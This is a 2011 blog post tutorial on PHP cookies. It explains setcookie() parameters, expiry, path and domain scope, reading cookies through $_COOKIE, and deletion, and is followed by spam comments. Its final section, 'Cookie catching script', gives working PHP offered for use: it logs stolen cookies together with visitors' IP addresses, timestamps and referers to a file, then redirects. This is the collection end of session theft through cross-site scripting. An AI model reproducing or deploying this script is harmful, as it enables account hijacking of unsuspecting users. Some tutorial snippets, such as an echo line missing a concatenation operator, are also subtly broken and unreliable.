Saturday, October 15, 2011

File Studios : Basic cookie usage - PHP

Setting a cookie is pretty easy, since PHP provides a function for you to do it already. This code sets a cookie called "userid" with a value of "anon":



Code:

$date_of_expiry = time() + 60 ;
setcookie( "userid", "anon", $date_of_expiry );

The code starts by calculating the expiry(expiration) date of the cookie. Cookies have a limited lifespan. If you do not set an expiry date,
the cookie will expire automatically when the user closes his/her web browser. The expiry date has to be in a special format, so it's
actually simplest to just use the time() function and work from there. This function returns the current date and time in the required
format. My code adds 60 seconds to the existing time, effectively making the cookie last for only 1 minute.

The second line calls the setcookie() function, which does the actual work of setting the cookie in PHP.
This is a built-in function in PHP. The first parameter (or argument) to setcookie() is the name that you want to give the cookie.
It can be any name you like. In the example above, I gave the cookie the name "userid".

The second parameter to the setcookie() function contains the actual data that you want saved.
Again, this can be any data you like, although the maximum size of any cookie is 4 KB. This 4 KB includes things like the date of expiry,
the name, and other cookie overheads, so you don't really have all 4,096 bytes to work with. Note: cookies are not ecrypted by default, but
you can encrypt them.

The third argument is the date of expiry that was calculated earlier. As noted earlier, my code gives the cookie a very short lifespan.
If you want your cookie to last longer, and you surely will, you will have to add the lifespan you want, converted to seconds, to the value
returned by time().

Here's an example of how to do that using a new variable, $number_of_days. Set the $number_of_days variable to the number of days you want
your cookie to last, and the code below will calculate the actual date of expiry for you in a format suitable for passing to the setcookie() function.

Code:

$number_of_days = 30 ;
$date_of_expiry = time() + 60 * 60 * 24 * $number_of_days ;

You will of course have to pass $date_of_expiry to setcookie() as its third parameter.
Making the Cookie Valid for Other Folders / Subdirectories

Although the above parameters to setcookie() are probably the most useful, there are additional parameters that you can use when calling
the function. These parameters are optional, and can be omitted if you don't need to use them.

As it is, the cookie set in the above example will only be valid for the directory (or folder) where the current web document is kept as
well as its descendant directories. For example, if your script was executed from the page http://www.example.com/members-only/login.php,
then the cookie will be valid for any file in http://www.example.com/members-only/ and the subdirectories below it. If you want your cookie
to be valid for every folder on your website, you will have to specify a fourth argument to setcookie().

Code:
setcookie( "userid", "anon", $date_of_expiry, "/" ) ;

The fourth parameter should be the top directory where you want to cookie to be available in. If it is set to "/" (the root folder of your website) as in the above example, it will be valid throughout your site. If you want the cookie to be available only in the "/secret" directory, pass "/secret" instead of "/" to the function.

Making the Cookie Valid in Other Sub-domains

If your cookie was set for a user accessing your site using (say) http://www.example.com, the cookie will not be valid if he/she goes to
example.com even if both URLs resolve to the same site. To make it valid no matter which subdomain name of example.com is used, you will need to add a fifth parameter to setcookie().

Code:
setcookie( "userid", "anon", $date_of_expiry, "/", "example.com" );

Note that if you add a fifth parameter to the function, you must include the fourth parameter -- that is, the path or folder argument will no longer be optional. However, if you don't really want to set the fourth parameter but only the fifth, you can pass an empty string (that is, "") for the that parameter.

Code:
setcookie( "userlogin", "anonymous", $date_of_expiry, "", "example.com" );


Cookies Must Be Set Before Page Output


Since cookies are sent by the script to the browser in the HTTP headers, before your page is sent, they must be set before you even send a
single line of HTML or any other page output. The moment you send any sort of output, you are signalling the end of the HTTP headers. When that happens, you can no longer set any cookie. If you try, the setcookie() function will return FALSE, and the cookie will not be sent. You will probably also get a PHP error message.

When setcookie() returns TRUE, the cookie was successfully sent to the web browser. This does not mean that the cookie has been successfully
set, though, since it's possible that the user has disabled cookie support. However, where the PHP interpreter is concerned, the cookie has been sent.

How to Get the Contents of a Cookie

Cookies set for a page can be retrieved from the variable $_COOKIE['cookie_name'] where 'cookie_name' is the name of the cookie you set earlier.

For example, if you wanted to display the value of the "userid" cookie, the following code should do the trick.

Code:
echo "How's it going" . $_COOKIE['userid'] "?";

Note that you cannot set a cookie in PHP and hope to retrieve the cookie immediately in that same script session. Take the following non-working PHP code as an example:

Code:

/* WARNING: THIS WILL NOT WORK */
setcookie ( "userid", "anonymous", time()+60 );
echo "Value of userid: " . $_COOKIE['userid'] ;

Remember that cookies are sent in the HTTP headers, both to and by the web browser. At the time the above script runs, the web browser will
have sent a request to your server for your script without including any "userid" cookie, since none has been set yet (unless one was already set in an earlier session). As such, when the PHP interpreter loads your script, it will create the $_COOKIE array without your "userid" cookie.

Testing for the existence of the cookie immediately after you set it in the same script is thus pointless. For example, the above code will print "Value of userlogin: " and nothing else. This doesn't mean that the cookie has not been sent -- it just means you can't test it in the same script run. If you really need to test whether the cookie has been set, one way is to use JavaScript to check the cookie.


How to Delete a Cookie

Cookies can also be deleted. This is useful for situations such as when a user logs out of your site. To delete a cookie, call the setcookie() function again with the same name, folder and domain that you used earlier to set the cookie. However, instead of an expiry date set in the future, this time give an expiry date some time in the past.

Code:

$date_of_expiry = time() - 60 ;
setcookie( "userid", "anon", $date_of_expiry, "/",
  "example.com" );

The above code simply sets the expiry date 60 seconds in the past, effectively making the cookie no longer valid.

Cookie catching script:
You need this script hosted on a php enabled server with .php extension, and also a cookie.html


Code:

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br>
IP: ' .$ip. '<br>
Date/Time: ' .$date. '<br>
Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: http://www.filestudios.blogspot.com");

3 comments:

Uriwan said...

I think that is amazing piceses.Jewelry and Diamon

Unknown said...

Yes they R........

Uriwan said...

thanks for the nice article.jewelrers Diamon

Post a Comment

 
Design by Free WordPress Themes | Blogger Theme by Lasantha - Premium Blogger Templates